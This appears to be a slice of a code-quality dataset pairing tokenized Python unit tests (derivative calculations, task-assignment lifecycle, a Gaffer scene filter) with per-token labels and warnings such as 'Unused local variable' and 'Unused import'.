"=_", "[_", "'", "comp", "5", ".", "y1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "313", ".0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "self_", "._", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "comp", "1", ".", "x1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "comp", "5", ".", "y1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "adjoint", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "313", ".0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "comp", "\\u", "list_", "=_", "simple", "\\u", "node", "\\u", "iter_", "(_", "self_", "._", "top_", "._", "driver_", "._", "workflow_", "._", "\\u", "system_", "._", "subsystem", "s_", "(_", ")_", "[_", "1_", "]_", "._", "\\u", "nodes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "comp", "\\u", "list_", ")_", "==_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "comp", "1", "'_", "in_", "comp", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "comp", "2", "'_", "in_", "comp", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "comp", "3", "'_", "in_", "comp", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "comp", "4", "'_", "in_", "comp", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "comp", "5", "'_", "in_", "comp", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Pi", "gg", "yb", "ack", " ", "testi", "ng", " ", "of", " ", "the", " ", "is", "\\u", "variab", "le", "\\u", "local", " ", "function", " ", "--", " ", "make", " ", "sure", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "poke", "s", " ", "through", " ", "opaque", " ", "system", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "system_", "=_", "self_", "._", "top_", "._", "driver_", "._", "workflow_", "._", "\\u", "system_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "system_", "._", "is", "\\u", "variab", "le", "\\u", "local_", "(_", "'", "comp", "2", ".", "y1", "'_", ")_", "is_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Case", " ", "3", " ", "-", " ", "different", "iable", " ", "(", "comp", "5", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "top_", "._", "replace_", "(_", "'", "comp", "5", "'_", ",_", "Exe", "c", "Comp", "With", "Derivati", "ves_", "(_", "exp", "5_", ",_", "deriv", "5_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "top_", "._", "comp", "1_", "._", "x1_", "=_", "2.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "J_", "=_", "self_", "._", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "comp", "1", ".", "x1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "comp", "5", ".", "y1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "313", ".0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "self_", "._", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "comp", "1", ".", "x1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "comp", "5", ".", "y1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "adjoint", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "313", ".0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "comp", "\\u", "list_", "=_", "simple", "\\u", "node", "\\u", "iter_", "(_", "self_", "._", "top_", "._", "driver_", "._", "workflow_", "._", "\\u", "system_", "._", "subsystem", "s_", "(_", ")_", "[_", "1_", "]_", "._", "\\u", "nodes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "comp", "\\u", "list_", ")_", "==_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "comp", "1", "'_", "in_", "comp", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "comp", "2", "'_", "in_", "comp", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "comp", "3", "'_", "in_", "comp", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "comp", "4", "'_", "in_", "comp", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Case", " ", "4", " ", "-", " ", "different", "iable", " ", "(", "comp", "1", ",", " ", "comp", "3", ",", " ", "comp", "5", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "top_", "._", "replace_", "(_", "'", "comp", "1", "'_", ",_", "Exe", "c", "Comp", "With", "Derivati", "ves_", "(_", "exp", "1_", ",_", "deriv", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "replace_", "(_", "'", "comp", "3", "'_", ",_", "Exe", "c", "Comp", "With", "Derivati", "ves_", "(_", "exp", "3_", ",_", "deriv", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "top_", "._", "comp", "1_", "._", "x1_", "=_", "2.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "J_", "=_", "self_", "._", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "comp", "1", ".", "x1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "comp", "5", ".", "y1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "313", ".0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "self_", "._", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "comp", "1", ".", "x1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "comp", "5", ".", "y1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "adjoint", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "313", ".0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "comp", "\\u", "list_", "=_", "simple", "\\u", "node", "\\u", "iter_", "(_", "self_", "._", "top_", "._", "driver_", "._", "workflow_", "._", "\\u", "system_", "._", "subsystem", "s_", "(_", ")_", "[_", "3_", "]_", "._", "\\u", "nodes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "comp", "\\u", "list_", ")_", "==_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "comp", "2", "'_", "in_", "comp", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "comp", "4", "'_", "in_", "comp", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Put", " ", "every", "thing", " ", "in", " ", "a", " ", "single", " ", "pseudo", "-", "ass", "y", ",", " ", "and", " ", "run", " ", "fd", "._", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "self_", "._", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "'", "comp", "1", ".", "x1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "comp", "5", ".", "y1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "fd", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "313", ".0_", ",_", ".00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "case", "\\u", "derivatives", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "missi", "ng", "\\u", "deriv", "s", "\\u", "error_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "top_", "=_", "set\\u", "as", "\\u", "top_", "(_", "Asse", "mbly", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "top_", "._", "add_", "(_", "'", "driver", "'_", ",_", "Simple", "Driver_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "add_", "(_", "'", "dis", "2", "'_", ",_", "Simple", "Comp", "Missing", "Der", "iv_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "driver_", "._", "add", "\\u", "objective_", "(_", "'(", "dis", "2", ".", "y", ")**", "2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "driver_", "._", "add", "\\u", "parameter_", "(_", "'", "dis", "2", ".", "x", "'_", ",_", "low_", "=_", "-_", "10.0_", ",_", "high_", "=_", "10.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "driver_", "._", "add", "\\u", "constraint_", "(_", "'", "dis", "2", ".", "miss", "\\u", "out", " ", "<", " ", "24.0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "top_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "J_", "=_", "self_", "._", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "str_", "(_", "err_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"'", "dis", "2", " ", "(", "1", "-", "dis", "2", "):", " ", "doe", "s", " ", "not", " ", "provide", " ", "analytic", "al", " ", "derivatives", " ", "for", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", " ", "miss", "\\u", "out", "'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "exception", " ", "expected", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "top_", "._", "driver_", "._", "remove", "\\u", "constraint_", "(_", "'", "dis", "2", ".", "miss", "\\u", "out", " ", "<", " ", "24.0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "driver_", "._", "add", "\\u", "constraint_", "(_", "'", "dis", "2", ".", "y", " ", "<", " ", "24.0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "driver_", "._", "remove", "\\u", "parameter_", "(_", "'", "dis", "2", ".", "x", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "driver_", "._", "add", "\\u", "parameter_", "(_", "'", "dis", "2", ".", "miss", "\\u", "in", "'_", ",_", "low_", "=_", "-_", "10.0_", ",_", "high_", "=_", "10.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "J_", "=_", "self_", "._", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "str_", "(_", "err_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"'", "dis", "2", " ", "(", "1", "-", "dis", "2", "):", " ", "doe", "s", " ", "not", " ", "provide", " ", "analytic", "al", " ", "derivatives", " ", "for", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", " ", "miss", "\\u", "in", "'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "exception", " ", "expected", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "case", "\\u", "derivatives", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "jacobian", "\\u", "size", "\\u", "error_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "top_", "=_", "set\\u", "as", "\\u", "top_", "(_", "Asse", "mbly", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "add_", "(_", "'", "comp", "1", "'_", ",_", "Array", "\\u", "Slice", "\\u", "1", "D_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "add_", "(_", "'", "driver", "'_", ",_", "Simple", "Driver_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "driver_", "._", "workflow_", "._", "add_", "(_", "[_", "'", "comp", "1", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "top_", "._", "comp", "1_", "._", "x_", "=_", "zeros_", "(_", "(_", "3_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "inputs_", "=_", "[_", "(_", "'", "comp", "1", ".", "x", "'_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outputs_", "=_", "[_", "'", "comp", "1", ".", "y", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Run", "time", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "'", "comp", "1", ":", " ", "Jacob", "ian", " ", "is", " ", "the", " ", "wrong", " ", "size", ".", " ", "Expect", "ed", " ", "(", "4", "x6", ")", " ", "but", " ", "got", " ", "(", "4", "x4", ")'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "str_", "(_", "err_", ")_", ",_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "exception", " ", "expected", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
unlimitedlabs/orchestra/orchestra/tests/test_task_lifecycle.py
[ { "content": " def test_get_new_task_assignment_reviewer(self):\n # Reviewer assignment\n self.assertEquals(Task.objects\n .filter(status=Task.Status.PENDING_REVIEW)\n .count(),\n 1)\n\n # assign a review task to worker\n assignment = get_new_task_assignment(self.workers[7],\n Task.Status.PENDING_REVIEW)\n self.assertTrue(assignment is not None)\n self.assertEquals(assignment.task.status,\n Task.Status.REVIEWING)\n\n self.assertEquals(assignment.in_progress_task_data,\n {'test_key': 'test_value'})\n\n # No tasks in state PENDING_REVIEW\n # No more tasks left in AWAITING_PROCESSING\n with self.assertRaises(NoTaskAvailable):\n get_new_task_assignment(self.workers[7],\n Task.Status.PENDING_REVIEW)\n\n # Assign an entry-level task to reviewer\n assignment = get_new_task_assignment(self.workers[7],\n Task.Status.AWAITING_PROCESSING)\n with self.assertRaises(NoTaskAvailable):\n get_new_task_assignment(self.workers[7],\n Task.Status.AWAITING_PROCESSING)", "metadata": "root.BasicTaskLifeCycleTestCase.test_get_new_task_assignment_reviewer", "header": "['class', 'BasicTaskLifeCycleTestCase', '(', 'OrchestraTestCase', ')', ':', '___EOS___']", "index": 108 } ]
[ { "span": "assignment ", "start_line": 132, "start_column": 8, "end_line": 132, "end_column": 18 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Basic", "Task", "Life", "Cycle", "Test", "Case_", "(_", "Orc", "hes", "tra", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "new", "\\u", "task", "\\u", "assign", "ment", "\\u", "reviewer", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Review", "er", " ", "assignment_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "Task_", "._", "objects_", "\\u\\u\\uNL\\u\\u\\u_", "._", "filter_", "(_", "status_", "=_", "Task_", "._", "Status_", "._", "PEND", "ING", "\\u", "REVI", "EW", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "count_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "assign", " ", "a", " ", "review", " ", "task", " ", "to", " ", "worker_", "\\u\\u\\uNL\\u\\u\\u_", "assignment_", "=_", "get", "\\u", "new", "\\u", "task", "\\u", "assignment_", "(_", "self_", "._", "workers_", "[_", "7_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Task_", "._", "Status_", "._", "PEND", "ING", "\\u", "REVI", "EW", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "assignment_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "assignment_", "._", "task_", "._", "status_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Task_", "._", "Status_", "._", "REVI", "EW", "ING_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "assignment_", "._", "in", "\\u", "progress", "\\u", "task", "\\u", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "test\\u", "key", "'_", ":_", "'", "test\\u", "value", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", " ", "task", "s", " ", "in", " ", "state", " ", "PEND", "ING", "\\u", "REVI", "EW", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", " ", "more", " ", "task", "s", " ", "left", " ", "in", " ", "AWA", "ITI", "NG", "\\u", "PROCESS", "ING_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "No", "Task", "Available_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "get", "\\u", "new", "\\u", "task", "\\u", "assignment_", "(_", "self_", "._", "workers_", "[_", "7_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Task_", "._", "Status_", "._", "PEND", "ING", "\\u", "REVI", "EW", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Assign", " ", "an", " ", "entry", "-", "level", " ", "task", " ", "to", " ", "reviewer", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assignment_", "=_", "get", "\\u", "new", "\\u", "task", "\\u", "assignment_", "(_", "self_", "._", "workers_", "[_", "7_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Task_", "._", "Status_", "._", "AWA", "ITI", "NG", "\\u", "PROCESS", "ING_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "No", "Task", "Available_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "get", "\\u", "new", "\\u", "task", "\\u", "assignment_", "(_", "self_", "._", "workers_", "[_", "7_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Task_", "._", "Status_", "._", "AWA", "ITI", "NG", "\\u", "PROCESS", "ING_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ImageEngine/gaffer/python/GafferSceneTest/SetFilterTest.py
[ { "content": "##########################################################################\n#\n# Copyright (c) 2014, Image Engine Design Inc. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met:\n#\n# * Redistributions of source code must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer.\n#\n# * Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials provided with\n# the distribution.\n#\n# * Neither the name of John Haddon nor the names of\n# any other contributors to this software may be used to endorse or\n# promote products derived from this software without specific prior\n# written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n# IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n##########################################################################\n\nimport unittest\n\nimport IECore\n\nimport Gaffer\nimport GafferTest\nimport GafferScene\nimport GafferSceneTest\n\n\nif __name__ == \"__main__\":\n\tunittest.main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class SetFilterTest( GafferSceneTest.SceneTestCase ) :\n\n\n\n\n", "metadata": "root.SetFilterTest", "header": "['module', '___EOS___']", "index": 45 }, { "content": "\tdef test( self ) :\n\n\t\tp1 = GafferScene.Plane()\n\t\tp2 = GafferScene.Plane()\n\t\tg = GafferScene.Group()\n\n\t\tg[\"in\"][0].setInput( p1[\"out\"] )\n\t\tg[\"in\"][1].setInput( p2[\"out\"] )\n\n\t\ts = GafferScene.Set()\n\t\ts[\"in\"].setInput( g[\"out\"] )\n\t\ts[\"paths\"].setValue( IECore.StringVectorData( [ \"/group/plane\" ] ) )\n\n\t\tf = GafferScene.SetFilter()\n\t\tf[\"set\"].setValue( \"set\" )\n\n\t\ta = GafferScene.StandardAttributes()\n\t\ta[\"in\"].setInput( s[\"out\"] )\n\t\ta[\"attributes\"][\"doubleSided\"][\"enabled\"].setValue( True )\n\t\ta[\"filter\"].setInput( f[\"out\"] )\n\n\t\tself.assertSceneValid( a[\"out\"] )\n\n\t\tself.assertTrue( \"doubleSided\" in a[\"out\"].attributes( \"/group/plane\" ) )\n\t\tself.assertTrue( \"doubleSided\" not in a[\"out\"].attributes( \"/group/plane1\" ) )\n\t\tself.assertTrue( \"doubleSided\" not in a[\"out\"].attributes( \"/group\" ) )\n\n\t\ts[\"paths\"].setValue( IECore.StringVectorData( [ \"/group\" ] ) )\n\n\t\tself.assertSceneValid( a[\"out\"] )\n\n\t\tself.assertTrue( \"doubleSided\" not in a[\"out\"].attributes( \"/group/plane\" ) 